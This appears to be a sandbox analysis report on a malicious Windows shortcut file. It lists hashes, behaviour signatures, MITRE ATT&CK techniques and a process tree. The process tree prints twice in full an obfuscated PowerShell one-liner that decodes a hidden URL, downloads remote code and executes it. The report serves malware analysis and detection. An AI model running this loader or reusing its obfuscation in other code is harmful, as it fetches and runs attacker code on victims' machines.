20d78ae8adddf88e03355414a3c5044dc1273ed3bb4bec6f111f383c4420d960

Analysis

max time kernel
148s
max time network
124s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
27/07/2026, 09:37

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
photov_461767630759.lnk
Size 1KB
Sample260727-lltnvaac65
SHA256 20d78ae8adddf88e03355414a3c5044dc1273ed3bb4bec6f111f383c4420d960
MD5 35a77c0fcc0842d1994f295cd5f4091e
SHA1 4a0f1298d77bab6c4537190ecff8076f4e829bec
SHA512 b6d5e5407388df294dc65fe07d8fcf0f4a3bf48e6e8f67ac7c75edb28438cdf23f77c7c30da38c597eace98fc211846a11b34f9042dc67fae0bba5da06e021ff
TLSH
T1CA319478ABE00559F8F69971D8FEB143FC2165257314F98550FB430DC9B350B14C162E
MD5 SHA1 SHA512 TLSH

Score

3^/10

execution

Malware Config

Signatures

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 2 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
4416	cmd.exe
3052	cmd.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
4436	powershell.exe
4436	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	4436	powershell.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 4416 wrote to memory of 3052	4416	cmd.exe	90
PID 3052 wrote to memory of 4436	3052	cmd.exe	91

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\photov_461767630759.lnk
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4416
- C:\Windows\system32\cmd.exe
  "C:\Windows\system32\cmd.exe" /c powershell -c "$yuov0e=77;$rilv=78;$bfgr0=[bigint]::Parse('84192761721222947275099054610020958045172964868061');$o875i8=[bigint]::Parse('84192761721065779587958641610927407876766839918694');$bfgr0=$bfgr0-$o875i8;$hv4yw=@();while($bfgr0 -gt 0){$hv4yw+=[char][int]([bigint]::Remainder($bfgr0,256));$bfgr0=[bigint]::Divide($bfgr0,256)};.([scriptblock]::Create((irm(-join$hv4yw))))"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:3052
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -c "$yuov0e=77;$rilv=78;$bfgr0=[bigint]::Parse('84192761721222947275099054610020958045172964868061');$o875i8=[bigint]::Parse('84192761721065779587958641610927407876766839918694');$bfgr0=$bfgr0-$o875i8;$hv4yw=@();while($bfgr0 -gt 0){$hv4yw+=[char][int]([bigint]::Remainder($bfgr0,256));$bfgr0=[bigint]::Divide($bfgr0,256)};.([scriptblock]::Create((irm(-join$hv4yw))))"
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4436

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

memory/4436-0-0x00007FFE6B89F000-0x00007FFE6B8A0000-memory.dmp

Download

memory/4436-4-0x0000021DDBFC0000-0x0000021DDBFE2000-memory.dmp

Download

memory/4436-3-0x00007FFE6B710000-0x00007FFE6C0B4000-memory.dmp

Download

memory/4436-5-0x00007FFE6B710000-0x00007FFE6C0B4000-memory.dmp

Download

memory/4436-6-0x00007FFE6B710000-0x00007FFE6C0B4000-memory.dmp

Download

memory/4436-7-0x00007FFE6B710000-0x00007FFE6C0B4000-memory.dmp

Download

memory/4436-8-0x00007FFE6B710000-0x00007FFE6C0B4000-memory.dmp

Download

memory/4436-9-0x00007FFE6B710000-0x00007FFE6C0B4000-memory.dmp

Download

memory/4436-10-0x00007FFE6B710000-0x00007FFE6C0B4000-memory.dmp

Download

memory/4436-11-0x00007FFE6B710000-0x00007FFE6C0B4000-memory.dmp

Download

memory/4436-12-0x00007FFE6B710000-0x00007FFE6C0B4000-memory.dmp

Download

memory/4436-13-0x00007FFE6B710000-0x00007FFE6C0B4000-memory.dmp

Download

memory/4436-15-0x00007FFE6B710000-0x00007FFE6C0B4000-memory.dmp

Download